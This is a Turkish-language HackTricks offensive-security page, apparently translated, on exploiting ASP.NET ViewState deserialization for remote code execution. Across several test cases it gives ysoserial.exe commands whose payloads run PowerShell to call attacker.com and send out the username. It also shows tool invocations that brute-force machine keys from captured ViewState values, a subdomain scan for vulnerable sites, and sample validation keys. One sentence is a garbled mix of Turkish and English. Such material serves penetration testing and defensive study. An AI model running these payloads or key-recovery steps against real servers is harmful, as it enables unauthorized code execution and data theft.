Exploiting __VIEWSTATE without knowing the secrets

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

Bug bounty ipucu: Intigriti'ye kaydolun, hackerlar tarafından, hackerlar için oluşturulmuş bir premium bug bounty platformu! Bugün https://go.intigriti.com/hacktricks adresine katılın ve $100,000'a kadar ödüller kazanmaya başlayın!

Register - IntigritiRegister - Intigriti

ViewState Nedir

ViewState, ASP.NET'te web sayfaları arasında sayfa ve kontrol verilerini korumak için varsayılan mekanizma olarak hizmet eder. Bir sayfanın HTML'sinin işlenmesi sırasında, sayfanın mevcut durumu ve bir postback sırasında korunması gereken değerler base64 kodlu dizelere serileştirilir. Bu dizeler daha sonra gizli ViewState alanlarına yerleştirilir.

ViewState bilgileri aşağıdaki özellikler veya bunların kombinasyonları ile karakterize edilebilir:

• Base64:

• Bu format, hem EnableViewStateMac hem de ViewStateEncryptionMode öznitelikleri false olarak ayarlandığında kullanılır.

• Base64 + MAC (Mesaj Kimlik Doğrulama Kodu) Etkin:

• MAC'in etkinleştirilmesi, EnableViewStateMac özniteliğinin true olarak ayarlanmasıyla sağlanır. Bu, ViewState verileri için bütünlük doğrulaması sağlar.

• Base64 + Şifreli:

• Şifreleme, ViewStateEncryptionMode özniteliği true olarak ayarlandığında uygulanır ve ViewState verilerinin gizliliğini sağlar.

Test Durumları

Görüntü, .NET framework sürümüne göre ASP.NET'teki ViewState için farklı yapılandırmaları detaylandıran bir tabloyu göstermektedir. İşte içeriğin özeti:

1. Herhangi bir .NET sürümü için, hem MAC hem de Şifreleme devre dışı bırakıldığında, bir MachineKey gerekli değildir ve dolayısıyla bunu tanımlamak için geçerli bir yöntem yoktur.

2. 4.5'ten düşük sürümler için, eğer MAC etkinleştirilmiş ancak Şifreleme değilse, bir MachineKey gereklidir. MachineKey'i tanımlama yöntemi "Blacklist3r" olarak adlandırılır.

3. 4.5'ten düşük sürümler için, MAC etkinleştirilmiş veya devre dışı bırakılmış olsun, eğer Şifreleme etkinse, bir MachineKey gereklidir. MachineKey'i tanımlamak "Blacklist3r - Gelecek Geliştirme" için bir görevdir.

4. 4.5 ve üzeri sürümler için, MAC ve Şifreleme'nin tüm kombinasyonları (her ikisi de true, ya da biri true diğeri false) bir MachineKey gerektirir. MachineKey "Blacklist3r" kullanılarak tanımlanabilir.

Test Durumu: 1 – EnableViewStateMac=false ve viewStateEncryptionMode=false

ViewStateMAC'i tamamen devre dışı bırakmak için AspNetEnforceViewStateMac kayıt defteri anahtarını sıfıra ayarlamak da mümkündür:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState Özelliklerini Belirleme

ViewState'in MAC ile korunup korunmadığını belirlemek için BurpSuite ile bu parametreyi içeren bir isteği yakalamayı deneyebilirsiniz. Eğer parametreyi korumak için Mac kullanılmıyorsa, bunu YSoSerial.Net kullanarak istismar edebilirsiniz.

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Test case 1 gibi ama ViewState çerezi sunucu tarafından gönderilmiyor

Geliştiriciler ViewState'i bir HTTP İsteğinin parçası olmaktan kaldırabilir (kullanıcı bu çerezi almayacaktır). Eğer ViewState mevcut değilse, uygulamalarının ViewState deserialization ile ortaya çıkabilecek potansiyel zafiyetlerden güvenli olduğu varsayılabilir. Ancak durum böyle değil. Eğer isteğin gövdesine ViewState parametresi ekler ve ysoserial kullanarak oluşturduğumuz serileştirilmiş yükü gönderirsek, Case 1'de gösterildiği gibi kod yürütme elde edebileceğiz.

Test Case: 2 – .Net < 4.5 ve EnableViewStateMac=true & ViewStateEncryptionMode=false

Belirli bir sayfa için ViewState MAC'i etkinleştirmek amacıyla belirli bir aspx dosyasında aşağıdaki değişiklikleri yapmamız gerekiyor:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Aşağıda gösterildiği gibi web.config dosyasında ayarlayarak genel uygulama için de bunu yapabiliriz:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Parametre MAC ile korunduğundan, saldırıyı başarıyla gerçekleştirmek için öncelikle kullanılan anahtara ihtiyacımız var.

Kullanılan anahtarı bulmak için Blacklist3r(AspDotNetWrapper.exe) kullanmayı deneyebilirsiniz.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets bilinen machineKeys'i tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu nedenle Blacklist3r'ın aksine Windows bağımlılığı yoktur. .NET viewstate'leri için "python blacklist3r" aracı bulunmaktadır, bu da onu kullanmanın en hızlı yoludur.

Viewstate ve generator doğrudan sağlanabilir:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Ya da, hedef URL'ye doğrudan bağlanabilir ve viewstate'i HTML'den çıkarmaya çalışabilir:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Kapsamlı bir şekilde savunmasız viewstate'leri aramak için, alt alan adları belirleme ile birlikte, badsecrets BBOT modülü kullanılabilir:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Eğer şanslıysanız ve anahtar bulunursa, YSoSerial.Net: ile saldırıya devam edebilirsiniz:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

In cases where _VIEWSTATEGENERATOR parameter sunulmazsa by the server you gerekmez to sağlamak the --generator parameter ama bunlar:

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true

Bu durumda, parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu durumda, değer muhtemelen şifrelenmiştir ve açığı istismar etmek için yükünüzü şifrelemek üzere Machine Key'e ihtiyacınız olacak.

Bu durumda Blacklist3r modülü geliştirilme aşamasındadır...

.NET 4.5'ten önce, ASP.NET şifrelenmemiş ___VIEWSTATE_ parametresini kullanıcılarından kabul edebilir ViewStateEncryptionMode Her Zaman olarak ayarlanmış olsa bile. ASP.NET yalnızca istekteki __VIEWSTATEENCRYPTED parametresinin varlığını kontrol eder. Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.

Bu nedenle, saldırganlar dosya gezintisi gibi başka bir açık aracılığıyla Machinekey'i bulurlarsa, Case 2'de kullanılan YSoSerial.Net komutu, ViewState serileştirme açığını kullanarak RCE gerçekleştirmek için kullanılabilir.

• ViewState serileştirme açığını istismar etmek için istekteki __VIEWSTATEENCRYPTED parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve istismar başarısız olacaktır.

Test Case: 4 – .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false, her iki özellik de false dışında

Aşağıdaki parametreyi web.config dosyasına belirterek ASP.NET çerçevesinin kullanımını zorlayabiliriz.

<httpRuntime targetFramework="4.5" />

Alternatif olarak, bu, web.config dosyasındaki machineKey parametresinin içine aşağıdaki seçeneği belirterek yapılabilir.

compatibilityMode="Framework45"

Öncekilerde olduğu gibi değer şifrelenmiştir. Ardından, geçerli bir yük göndermek için saldırganın anahtara ihtiyacı vardır.

Kullanılan anahtarı bulmak için Blacklist3r(AspDotNetWrapper.exe) kullanmayı deneyebilirsiniz:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

IISDirPath ve TargetPagePath için daha ayrıntılı bir açıklama için buraya bakın.

Ya da, Badsecrets ile (bir jeneratör değeri ile):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Geçerli bir Makine anahtarı belirlendikten sonra, bir seri hale getirilmiş yük oluşturmanın bir sonraki adımı YSoSerial.Net kullanmaktır.

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Eğer __VIEWSTATEGENERATOR değerine sahipseniz, bu değeri kullanarak --generator parametresini kullanmayı deneyebilir ve --path ve --apppath parametrelerini hariç tutabilirsiniz.

ViewState deserialization zafiyetinin başarılı bir şekilde istismar edilmesi, kullanıcı adını içeren bir saldırgan kontrolündeki sunucuya dışarıdan bir isteğe yol açacaktır. Bu tür bir istismar, "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" başlıklı bir kaynakta bulunan bir kanıt konsepti (PoC) ile gösterilmektedir. İstismar sürecinin nasıl çalıştığı ve MachineKey'i tanımlamak için Blacklist3r gibi araçların nasıl kullanılacağı hakkında daha fazla bilgi için sağlanan Başarılı İstismar PoC'sini inceleyebilirsiniz.

Test Durumu 6 – ViewStateUserKeys kullanılıyor

ViewStateUserKey özelliği, CSRF saldırısına karşı savunma yapmak için kullanılabilir. Eğer uygulamada böyle bir anahtar tanımlanmışsa ve şimdiye kadar tartışılan yöntemlerle ViewState yükünü oluşturmaya çalışırsak, yük uygulama tarafından işlenmeyecektir. Yükü doğru bir şekilde oluşturmak için bir parametre daha kullanmanız gerekiyor:

--viewstateuserkey="randomstringdefinedintheserver"

Başarılı Bir Sömürünün Sonucu

Tüm test senaryolarında, eğer ViewState YSoSerial.Net yükü başarıyla çalışıyorsa, sunucu “500 Internal server error” yanıtı verir ve yanıt içeriği “Bu sayfa için durum bilgisi geçersiz ve bozulmuş olabilir” şeklindedir ve OOB isteğini alırız.

Daha fazla bilgi için buraya bakın

Referanslar

• https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/

• https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817\

• https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

• https://blog.blacklanternsecurity.com/p/introducing-badsecrets

Bug bounty ipucu: Intigriti için kayıt olun, hackerlar tarafından, hackerlar için oluşturulmuş premium bir bug bounty platformu! Bugün https://go.intigriti.com/hacktricks adresine katılın ve $100,000'a kadar ödüller kazanmaya başlayın!

Register - IntigritiRegister - Intigriti

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarına göz atın!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.